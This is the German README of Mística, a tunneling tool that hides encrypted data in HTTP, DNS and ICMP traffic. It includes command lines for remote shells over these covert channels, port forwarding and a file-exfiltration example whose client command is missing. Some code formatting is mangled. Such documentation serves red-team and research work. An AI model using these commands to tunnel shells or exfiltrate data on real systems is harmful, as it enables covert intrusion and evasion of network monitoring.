Mística


Mística-Logo von JoelGMSec

Mística ist ein Tool, das das Einbetten von Daten in Felder der Anwendungsschichtprotokolle ermöglicht, mit dem Ziel, einen bidirektionalen Kanal für beliebige Kommunikation herzustellen. Derzeit wurden Kapselungen in HTTP-, HTTPS-, DNS- und ICMP-Protokolle implementiert, aber in naher Zukunft sollen weitere Protokolle hinzukommen.

Mística hat ein modulares Design, das auf einem benutzerdefinierten Transportprotokoll namens SOTP: Simple Overlay Transport Protocol aufbaut. Daten werden verschlüsselt, in Stücke zerlegt und in SOTP-Pakete verpackt. SOTP-Pakete werden kodiert und in das gewünschte Feld des Anwendungsprotokolls eingebettet und an das andere Ende gesendet.

Das Ziel der SOTP-Schicht ist es, ein generisches binäres Transportprotokoll mit minimalem Overhead anzubieten. SOTP-Pakete können leicht in legitime Anwendungsprotokolle versteckt oder eingebettet werden. Außerdem stellt SOTP sicher, dass Pakete vom anderen Ende empfangen werden, verschlüsselt die Daten mit RC4 (dies könnte sich in Zukunft ändern) und stellt durch einen Polling-Mechanismus sicher, dass Informationen transparent in beide Richtungen fließen können.

Module interagieren für unterschiedliche Zwecke mit der SOTP-Schicht:

Wrap-Module oder Wrapper: Diese Module kodieren/dekodieren SOTP-Pakete aus/in Anwendungsschichtprotokolle
Overlay-Module: Diese Module kommunizieren über den SOTP-Kanal. Beispiele sind: IO-Umleitung (wie netcat), Shell (Befehlsausführung), Portweiterleitung…

Wrapper- und Overlay-Module arbeiten zusammen, um benutzerdefinierte Anwendungen zu erstellen, z.B. Eingabeumleitung über DNS oder entfernte Portweiterleitung über HTTP.

Místicas modulares Design ermöglicht eine einfache Entwicklung neuer Module. Außerdem kann der Benutzer problemlos vorhandene Module forken, um ein benutzerdefiniertes Feld oder eine Kodierung zu verwenden oder das Verhalten eines Overlay-Moduls zu ändern.

Es gibt zwei Hauptkomponenten der Software:

Mística-Server (ms.py): Verwendet Module, die als Server des gewünschten Anwendungsschichtprotokolls (HTTP, HTTPS, DNS, ICMP...) fungieren. Es ist außerdem so konzipiert, dass mehrere Server, Wrapper und Overlays gleichzeitig mit nur einer Instanz von ms.py ausgeführt werden können, auch wenn diese Funktion noch nicht vollständig implementiert ist.
Mística-Client (mc.py): Verwendet Module, die als Client des gewünschten Anwendungsschichtprotokolls (HTTP, HTTPS, DNS, ICMP...) fungieren. Es kann immer nur ein Overlay und ein Wrapper gleichzeitig verwendet werden.

Demos

Sie können einige Mística-Demos in der folgenden Playlist ansehen

Abhängigkeiten

Das Projekt hat sehr wenige Abhängigkeiten. Derzeit:

Mística Client benötigt mindestens Python 3.7
Mística Server benötigt mindestens Python 3.7 und dnslib.``` python3.7 -m pip install pip --user pip3.7 install dnslib --user

Wenn Sie Python nicht auf Ihrem System installieren möchten, können Sie eine der folgenden portablen Versionen verwenden:

- https://www.anaconda.com/distribution/#download-section (für Windows, Linux und macOS)
- https://github.com/winpython/winpython/releases/tag/2.1.20190928 (nur für Windows)

## Aktuelle Module

Overlay-Module:

- `io`: Liest von stdin, sendet über SOTP-Verbindung. Liest von SOTP-Verbindung, gibt auf stdout aus.
- `shell`: Führt über die SOTP-Verbindung empfangene Befehle aus und gibt die Ausgabe zurück. Kompatibel mit dem io-Modul.
- `tcpconnect`: Verbindet sich mit einem TCP-Port. Liest vom Socket, sendet über SOTP-Verbindung. Liest von SOTP-Verbindung, sendet über Socket.
- `tcplisten`: Bindet an einen TCP-Port. Liest vom Socket, sendet über SOTP-Verbindung. Liest von SOTP-Verbindung, sendet über Socket.

Wrap-Module:

- `dns`: Kodiert/Dekodiert Daten in DNS-Abfragen/-Antworten mit verschiedenen Methoden
- `http`: Kodiert/Dekodiert Daten in HTTP- oder HTTPS-Anfragen/-Antworten mit verschiedenen Methoden
- `icmp`: Kodiert/Dekodiert Daten in ICMP-Echo-Anfragen/-Antworten im Datenbereich

## Verwendung

`ms.py`: Mística-Server

So sieht die Hilfemeldung aus:```txt
usage: ms.py [-h] [-k KEY] [-l LIST] [-m MODULES] [-w WRAPPER_ARGS]
             [-o OVERLAY_ARGS] [-s WRAP_SERVER_ARGS]

Mistica server. Anything is a tunnel if you're brave enough. Run without
parameters to launch multi-handler mode.

optional arguments:
  -h, --help            show this help message and exit
  -k KEY, --key KEY     RC4 key used to encrypt the comunications
  -l LIST, --list LIST  Lists modules or parameters. Options are: all,
                        overlays, wrappers, <overlay name>, <wrapper name>
  -m MODULES, --modules MODULES
                        Module pair in single-handler mode. format:
                        'overlay:wrapper'
  -w WRAPPER_ARGS, --wrapper-args WRAPPER_ARGS
                        args for the selected overlay module (Single-handler
                        mode)
  -o OVERLAY_ARGS, --overlay-args OVERLAY_ARGS
                        args for the selected wrapper module (Single-handler
                        mode)
  -s WRAP_SERVER_ARGS, --wrap-server-args WRAP_SERVER_ARGS
                        args for the selected wrap server (Single-handler
                        mode)
  -v, --verbose         Level of verbosity in logger (no -v None, -v Low, -vv
                        Medium, -vvv High)

Es gibt zwei Hauptmodi im Mística Server:

Single Handler Mode: Wenn ms.py mit Parametern gestartet wird, ermöglicht es einem einzelnen Overlay-Modul, mit einem einzelnen Wrapper-Modul zu interagieren.
Multi-handler-Modus: (Noch nicht veröffentlicht) Wenn ms.py ohne Parameter ausgeführt wird, gelangt der Benutzer in eine interaktive Konsole, in der mehrere Overlay- und Wrapper-Module gestartet werden können. Diese Module können mit wenigen Einschränkungen miteinander interagieren.

mc.py: Mística-Client

So sieht die Hilfe-Nachricht aus:```txt usage: mc.py [-h] [-k KEY] [-l LIST] [-m MODULES] [-w WRAPPER_ARGS] [-o OVERLAY_ARGS]

Mistica client.

optional arguments: -h, --help show this help message and exit -k KEY, --key KEY RC4 key used to encrypt the comunications -l LIST, --list LIST Lists modules or parameters. Options are: all, overlays, wrappers, , -m MODULES, --modules MODULES Module pair. Format: 'overlay:wrapper' -w WRAPPER_ARGS, --wrapper-args WRAPPER_ARGS args for the selected overlay module -o OVERLAY_ARGS, --overlay-args OVERLAY_ARGS args for the selected wrapper module -v, --verbose Level of verbosity in logger (no -v None, -v Low, -vv Medium, -vvv High)

### Parameter

- `-l, --list` wird verwendet, um entweder `alle` Module aufzulisten, nur einen Typ aufzulisten: (`overlays` oder `wrappers`) oder die Parameter aufzulisten, die ein bestimmtes Modul über `-o`, `-w` oder `-s` akzeptieren kann.
- `-k, --key` wird verwendet, um den Schlüssel anzugeben, der zur Verschlüsselung der Overlay-Kommunikation verwendet wird. Dieser muss auf Client und Server identisch sein und ist derzeit obligatorisch. Dies könnte sich in Zukunft ändern, falls Geheimnis-Sharing-Schemata implementiert werden.
- `-m, --modules` wird verwendet, um anzugeben, welches Modulpaar verwendet werden soll. Sie müssen das folgende Format verwenden: **overlay_module** + **:** + **wrap_module**. Dieser Parameter ist ebenfalls obligatorisch.
- `-w, --wrapper-args** ermöglicht es Ihnen, eine bestimmte Konfiguration für das Wrap-Modul anzugeben.
- `-o, --overlay-args** ermöglicht es Ihnen, eine bestimmte Konfiguration für das Overlay-Modul anzugeben.
- `-s, --wrap-server-args** ist nur in `ms.py` vorhanden. Es ermöglicht Ihnen, eine bestimmte Konfiguration für den Wrap-Server anzugeben. Jedes Wrap-Modul hat eine Abhängigkeit von einem Wrap-Server, und beide Konfigurationen können angepasst werden.

## Beispiele und erweiterte Nutzung

> Denken Sie daran, dass Sie alle akzeptierten Parameter eines Moduls durch Eingabe von `-l <Modulname>` sehen können (z. B. `./ms.py -l dns`). Denken Sie auch daran, einen langen und komplexen Schlüssel zu verwenden, um Ihre Kommunikation zu schützen!

### HTTP

Um die verschiedenen Methoden der HTTP-Verkapselung zu veranschaulichen, wird für jedes Beispiel das IO-Umleitungs-Overlay-Modul (`io`) verwendet.

- HTTP-GET-Methode mit b64-Kodierung im Standard-URI, unter Verwendung von localhost und Port 8080 (Standardwerte).
  - Mística Server: `./ms.py -m io:http -k "rc4testkey"`
  - Mística Client:  `./mc.py -m io:http -k "rc4testkey"`
- HTTP-GET-Methode mit b64-Kodierung im Standard-URI, **Angabe von IP-Adresse und Port**.
  - Mística Server: `./ms.py -m io:http -k "rc4testkey" -s "--hostname x.x.x.x --port 10000"`
  - Mística Client:  `./mc.py -m io:http -k "rc4testkey" -w "--hostname x.x.x.x --port 10000"`
- HTTP-GET-Methode mit b64-Kodierung in **benutzerdefiniertem URI**, unter Verwendung von localhost und Port 8080 (Standardwerte).
  - Mística Server: `./ms.py -m io:http -k "rc4testkey" -w "--uri /?token="`
  - Mística Client:  `./mc.py -m io:http -k "rc4testkey" -w "--uri /?token="`
- HTTP-GET-Methode mit b64-Kodierung in **benutzerdefiniertem Header**, unter Verwendung von localhost und Port 8080 (Standardwerte).
  - Mística Server: `./ms.py -m io:http -k "rc4testkey" -w "--header laravel_session"`
  - Mística Client:  `./mc.py -m io:http -k "rc4testkey" -w "--header laravel_session"`
- HTTP-**POST**-Methode mit b64-Kodierung im Standardfeld, unter Verwendung von localhost und Port 8080 (Standardwerte).
  - Mística Server: `./ms.py -m io:http -k "rc4testkey" -w "--method POST"`
  - Mística Client:  `./mc.py -m io:http -k "rc4testkey" -w "--method POST"`
- HTTP-**POST**-Methode mit b64-Kodierung in **benutzerdefiniertem Header**, unter Verwendung von localhost und Port 8080 (Standardwerte).
  - Mística Server: `./ms.py -m io:http -k "rc4testkey" -w "--method POST --header Authorization"`
  - Mística Client:  `./mc.py -m io:http -k "rc4testkey" -w "--method POST --header Authorization"`
- HTTP-**POST**-Methode mit b64-Kodierung in **benutzerdefiniertem Feld**, unter Verwendung von localhost und Port 8080 (Standardwerte).
  - Mística Server: `./ms.py -m io:http -k "rc4testkey" -w "--method POST --post-field data"`
  - Mística Client: `./mc.py -m io:http -k "rc4testkey" -w "--method POST --post-field data"`
- HTTP-**POST**-Methode mit b64-Kodierung in **benutzerdefiniertem Feld, mit benutzerdefinierter Paketgröße, benutzerdefinierten Wiederholungen, benutzerdefiniertem Timeout und Angabe von IP und Port**:
  - Mística Server: `./ms.py -m io:http -k "rc4testkey" -w "--method POST --post-field data --max-size 30000 --max-retries 10" -s "--hostname 0.0.0.0 --port 8088 --timeout 30"`
  - Mística Client: `./mc.py -m io:http -k "rc4testkey" -w "--method POST --post-field data --max-size 30000 --max-retries 10 --poll-delay 10 --response-timeout 30 --hostname x.x.x.x --port 8088"`
- HTTP-**POST**-Methode mit b64-Kodierung in **benutzerdefiniertem Feld**, **unter Verwendung einer benutzerdefinierten Fehlervorlage**, unter Verwendung von localhost und Port 8080 (Standardwerte).
  - Mística Server: `./ms.py -m io:http -k "rc4testkey" -w "--method POST --post-field data" -s "--error-file /tmp/custom_error_template.html --error-code 408"`
  - Mística Client: `./mc.py -m io:http -k "rc4testkey" -w "--method POST --post-field data"`
- HTTP-GET-Methode mit b64-Kodierung im Standard-URI, unter **Verwendung eines benutzerdefinierten HTTP-Statuscodes** und unter Verwendung von localhost und Port 8080 (Standardwerte):
  - Mística Server: `./ms.py -m io:http -k "rc4testkey" -w "--success-code 302"`
  - Mística Client: `./mc.py -m io:http -k "rc4testkey" -w "--success-code 302"`
- HTTPS-GET-Methode mit b64-Kodierung im Standard-URI unter Verwendung von Port 443. Im Mística Server muss ein Zertifikat generiert werden, um die SSL-Option zu verwenden; der Mística Client benötigt nur das SSL-Flag:
  - Mística Server:
      - `openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes`
      - `sudo ./ms.py -m io:http -k "rc4testkey" -s "--port 443 --ssl --ssl-cert server.pem"`
  - Mística Client: `./mc.py -m io:http -k "rc4testkey" -w "--ssl --port 443"`
- HTTP-GET-Methode mit b64-Kodierung im Standard-URI, unter Verwendung eines Proxy-Servers im Mística Client (kann in Umgebungen verwendet werden, in denen HTTP-Kommunikation zwingend über einen Unternehmensproxy laufen muss, der nicht in der Computerkonfiguration angegeben ist). Testen Sie das folgende Beispiel mit Burpsuite:
  - Mística Server: `./ms.py -m io:http -k "rc4testkey" -s "--port 8000 --timeout 30"`
  - Mística Client:  `./mc.py -m io:http -k "rc4testkey" -w "--proxy 127.0.0.1:8080 --port 8000 --poll-delay 30 --response-timeout 30"`

### DNS

Um die verschiedenen Methoden der DNS-Verkapselung zu veranschaulichen, wird für jedes Beispiel das IO-Umleitungs-Overlay-Modul (`io`) verwendet.

- TXT-Abfrage, unter Verwendung von localhost und Port 5353 (Standardwerte):
  - Mística Server: `./ms.py -m io:dns -k "rc4testkey"`
  - Mística Client:  `./mc.py -m io:dns -k "rc4testkey"`
- NS-Abfrage, unter Verwendung von localhost und Port 5353 (Standardwerte):
  - Mística Server: `./ms.py -m io:dns -k "rc4testkey" -w "--queries NS"`
  - Mística Client:  `./mc.py -m io:dns -k "rc4testkey" -w "--query NS"`
- CNAME-Abfrage, unter Verwendung von localhost und Port 5353 (Standardwerte):
  - Mística Server: `./ms.py -m io:dns -k "rc4testkey" -w "--queries CNAME"`
  - Mística Client:  `./mc.py -m io:dns -k "rc4testkey" -w "--query CNAME"`
- MX-Abfrage, unter Verwendung von localhost und Port 5353 (Standardwerte):
  - Mística Server: `./ms.py -m io:dns -k "rc4testkey" -w "--queries MX"`
  - Mística Client:  `./mc.py -m io:dns -k "rc4testkey" -w "--query MX"`
- SOA-Abfrage, unter Verwendung von localhost und Port 5353 (Standardwerte):
  - Mística Server: `./ms.py -m io:dns -k "rc4testkey" -w "--queries SOA"`
  - Mística Client:  `./mc.py -m io:dns -k "rc4testkey" -w "--query SOA"`
- TXT-Abfrage, unter Verwendung von localhost und Port 5353 (Standardwerte) und **benutzerdefinierten Domains**:
  - Mística Server: `./ms.py -m io:dns -k "rc4testkey" -w "--domains mistica.dev sotp.es"`
  - Mística Client:  
      - `./mc.py -m io:dns -k "rc4testkey" -w "--domain sotp.es"`
      - `./mc.py -m io:dns -k "rc4testkey" -w "--domain mistica.dev"`
- TXT-Abfrage mit Angabe von Port und Hostname:
  - Mística Server: `./ms.py -m io:dns -k "rc4testkey" -s "--hostname 0.0.0.0 --port 1337"`
  - Mística Client:  `./mc.py -m io:dns -k "rc4testkey" -w "--hostname x.x.x.x --port 1337"`
- TXT-Abfrage unter Verwendung mehrerer Subdomains:
  - Mística Server: `./ms.py -m io:dns -k "rc4testkey"`
  - Mística Client:  `./mc.py -m io:dns -k "rc4testkey" -w "--multiple --max-size 169"`

### ICMP

Der Linux-Kernel antwortet standardmäßig automatisch mit einem ICMP-Echo-Reply-Paket, wenn er ein ICMP-Echo-Request-Paket empfängt (ohne uns eine Option zur Antwort zu geben). Deshalb müssen wir die ICMP-Antworten deaktivieren, um unsere eigenen mit Daten senden zu können, die sich von denen unterscheiden, die der Client gesendet hat. Dazu gehen wir wie folgt vor:

Deaktivieren der automatischen ICMP-Antworten durch den Kernel (*Root-Rechte erforderlich*), indem die Datei `/etc/sysctl.conf` bearbeitet wird:

- Fügen Sie die folgende Zeile in Ihre /etc/sysctl.conf ein:```
net.ipv4.icmp_echo_ignore_all=1

Dann führen Sie aus: sysctl -p, um die Änderungen zu übernehmen.

Um die verschiedenen Methoden der ICMP-Kapselung zu veranschaulichen, wird für jedes Beispiel das IO-Umleitungs-Overlay-Modul (io) verwendet.

ICMP-Datenabschnitt, unter Verwendung von Schnittstelle eth0:
- Mística Server: ./ms.py -m io:icmp -k "rc4testkey" -s "--iface eth0"
- Mística Client: ./mc.py -m io:icmp -k "rc4testkey" -w "--hostname x.x.x.x"

Shell und IO

Sie können über einen benutzerdefinierten Kanal eine entfernte Befehlsausführung mit mística erreichen, indem Sie die Module io und shell kombinieren. Beispiele:

Befehle auf dem Client-System über DNS unter Verwendung von TXT-Abfragen ausführen.
- Mística Server: sudo ./ms.py -m io:dns -k "rc4testkey" -s "--hostname x.x.x.x --port 53"
- Mística Client: ./mc.py -m shell:dns -k "rc4testkey" -w "--hostname x.x.x.x --port 53"
Befehle auf dem Server-System über HTTP unter Verwendung von GET-Anfragen ausführen:
- Mística Server: ./ms.py -m shell:http -k "rc4testkey" -s "--hostname x.x.x.x --port 8000"
- Mística Client: ./mc.py -m io:http -k "rc4testkey" -w "--hostname x.x.x.x --port 8000"
Befehle auf dem Client-System über ICMP ausführen:
- Mística Server: ./ms.py -m io:icmp -k "rc4testkey" -s "--iface eth0"
- Mística Client: ./mc.py -m shell:icmp -k "rc4testkey" -w "--hostname x.x.x.x"
Dateien über HTTP mit dem IO-Modul und Umleitungsoperatoren exfiltrieren:
- Mística Server: ./ms.py -m io:http -s "--hostname 0.0.0.0 --port 80" -k "rc4testkey" -vv > confidential.pdf
- Mística Client (wichtig, von der cmd aus auszuführen):

Portweiterleitung mit tcpconnect und tcplisten

Remote-Portweiterleitung (vom Server aus gesehen) über HTTP. Die Adresse 127.0.0.1:4444 auf dem Client wird an die Adresse 127.0.0.1:5555 auf dem Server weitergeleitet. Es muss bereits etwas auf 5555 lauschen.
- Mística Server: ./ms.py -m tcpconnect:http -k "rc4testkey" -s "--hostname x.x.x.x --port 8000" -o "--address 127.0.0.1 --port 5555"
- Mística Client: ./mc.py -m tcplisten:http -k "rc4testkey" -w "--hostname x.x.x.x --port 8000" -o "--address 127.0.0.1 --port 4444"
Lokale Portweiterleitung (vom Server aus gesehen) über DNS. Die Adresse 127.0.0.1:4444 auf dem Server wird an die Adresse 127.0.0.1:5555 auf dem Client weitergeleitet. Es muss bereits etwas auf 5555 lauschen.
- Mística Server: sudo ./ms.py -m tcplisten:dns -k "rc4testkey" -s "--hostname x.x.x.x --port 53" -o "--address 127.0.0.1 --port 4444"
- Mística Client: ./mc.py -m tcpconnect:dns -k "rc4testkey" -w "--hostname x.x.x.x --port 53" -o "--address 127.0.0.1 --port 5555"

Docker

Ein Docker-Image wurde für die lokale Nutzung erstellt. Dies vermeidet, dass wir Python oder dnslib installieren müssen, nur wenn wir das Tool testen wollen. Es ist auch sehr interessant für Debuggen oder Ähnliches, da wir das Rauschen vermeiden, das von anderen lokalen Anwendungen erzeugt wird. Um es zu erstellen, befolgen wir einfach diese Schritte:

Zunächst das Image erstellen mit:``` sudo docker build --tag mistica:latest .

* Zweitens, erstelle das Netzwerk mit:```
sudo docker network create misticanw

Drittens starten Sie den Server mit:``` sudo docker run --network misticanw --sysctl net.ipv4.icmp_echo_ignore_all=1 -v $(pwd):/opt/Mistica -it mistica /bin/bash

* Viertens: Führen Sie den Client mit:```
sudo docker run --network misticanw -v $(pwd):/opt/Mistica -it mistica /bin/bash

Wie man kompiliert

Mística ist ein in Python entwickeltes Tool, was bedeutet, dass es theoretisch kompiliert werden kann.

Um das Tool zu kompilieren, verwenden wir Pyinstaller. Dieses Tool ermöglicht es uns, ein Binärprogramm (abhängig vom Betriebssystem, auf dem wir uns befinden) zu erstellen. Das bedeutet, dass wir kein Cross-Kompilierung wie in anderen Sprachen wie C, C++, Golang, Rust usw. durchführen können. Wir arbeiten an einer Möglichkeit, dies zu ermöglichen, dennoch hinterlassen wir Ihnen den Pyinstaller-Befehl, mit dem wir Mística auf jedem Betriebssystem kompilieren können:

Mistica Client kompilieren

Da Mística Client keine Abhängigkeiten hat, kann es direkt mit Pyinstaller kompiliert werden. Führen Sie zum Kompilieren die folgenden Schritte aus:

Zuerst installieren Sie pyinstaller für Python3.7 oder höher:``` python3.7 -m pip install pyinstaller --user

* Und nun, kompilieren Sie den Mística Client mit dem folgenden Befehl:```
pyinstaller --onefile \
  --hiddenimport overlay.client.io \
  --hiddenimport overlay.client.shell \
  --hiddenimport overlay.client.tcpconnect \
  --hiddenimport overlay.client.tcplisten \
  --hiddenimport wrapper.client.http \
  --hiddenimport wrapper.client.dns \
  --hiddenimport wrapper.client.icmp \
  --hiddenimport overlay.server.io \
  --hiddenimport overlay.server.shell \
  --hiddenimport overlay.server.tcpconnect \
  --hiddenimport overlay.server.tcplisten \
  --hiddenimport wrapper.server.wrap_module.http \
  --hiddenimport wrapper.server.wrap_module.dns \
  --hiddenimport wrapper.server.wrap_module.icmp \
  --hiddenimport wrapper.server.wrap_server.httpserver \
  --hiddenimport wrapper.server.wrap_server.dnsserver \
  --hiddenimport wrapper.server.wrap_server.icmpserver \
  mc.py

Mistica Server kompilieren

Wenn Sie den Mística Server kompilieren möchten, müssen Sie mit Pip die Dnslib-Bibliothek global installieren (denken Sie daran, dass dies die einzige Abhängigkeit von Mística ist, und zwar nur für den Mística Server). Dazu müssen Sie die folgenden Schritte befolgen:

Zuerst installieren Sie Python3.7 oder höher auf Ihrem Windows-, Linux- oder Mac-System.
Zweitens installieren Sie mit Pip die Dnslib-Bibliothek: pip install dnslib (ohne das "--user"-Flag, auf diese Weise wird es global auf dem System installiert; andernfalls kann pyinstaller es nicht als verstecktes Import hinzufügen. Dieser Schritt erfordert Administratorberechtigungen).
Drittens installieren Sie mit Pip die Pyinstaller-Bibliothek: pip install pyinstaller.
Und viertens kompilieren Sie den Mística Server mit dem folgenden Befehl:``` pyinstaller --onefile
--hiddenimport overlay.client.io
--hiddenimport overlay.client.shell
--hiddenimport overlay.client.tcpconnect
--hiddenimport overlay.client.tcplisten
--hiddenimport wrapper.client.http
--hiddenimport wrapper.client.dns
--hiddenimport wrapper.client.icmp
--hiddenimport overlay.server.io
--hiddenimport overlay.server.shell
--hiddenimport overlay.server.tcpconnect
--hiddenimport overlay.server.tcplisten
--hiddenimport wrapper.server.wrap_module.http
--hiddenimport wrapper.server.wrap_module.dns
--hiddenimport wrapper.server.wrap_module.icmp
--hiddenimport wrapper.server.wrap_server.httpserver
--hiddenimport wrapper.server.wrap_server.dnsserver
--hiddenimport wrapper.server.wrap_server.icmpserver
--hiddenimport dnslib
ms.py

## Zukünftige Arbeiten

- Methode zum Cross-Compilieren, um Mistica für verschiedene Betriebssysteme kompilieren zu können, ohne dies vom Zielbetriebssystem aus tun zu müssen.
- Transparente Diffie-Hellman-Schlüsselgenerierung für das SOTP-Protokoll
- Multi-Handler-Modus: Interaktiver Modus für `ms.py`. Dies ermöglicht dem Benutzer, mehr als ein Overlay mit mehr als einem Wrapper und mehr als einem Wrap-Modul pro Wrap-Server zu kombinieren.
- Dokumentation zur Modulentwicklung für benutzerdefinierte Module. Dies wird derzeit nicht empfohlen, da die Modulspezifikation noch in der Entwicklung ist.
- Nächste Module:
    - SMB-Wrapper
    - RAT- und RAT-Handler-Overlay
    - SOCKS-Proxy- und dynamisches Portweiterleitungs-Overlay
    - Dateiübertragungs-Overlay
    - RDP-Wrapper
- Benutzerdefinierte HTTP-Vorlagen für komplexere Kapselung
- Dokumentation zur SOTP-Protokollspezifikation für benutzerdefinierte Clients oder Server. Dies wird derzeit nicht empfohlen, da das Protokoll noch in der Entwicklung ist.

## Autoren und Lizenz

Dieses Projekt wurde von Carlos Fernández Sánchez und Raúl Caro Teixidó entwickelt. Der Code wird unter der GNU General Public License v3 veröffentlicht.

Dieses Projekt verwendet Open-Source-Code von Drittanbietern, insbesondere:

- [Bitstring](https://github.com/scott-griffiths/bitstring) entwickelt von Scott Griffiths.
- [A RC4 binary-safe](https://github.com/DavidBuchanan314/rc4) entwickelt von David Buchanan.
- [A DNS Client without dependencies](https://github.com/vlasebian/simple-dns-client) entwickelt von Vlad Vitan.
- [A ICMP Server and Client without dependencies](https://github.com/rcaroncd/ICMPack/) entwickelt von Raul Caro.

Mistica

Beliebteste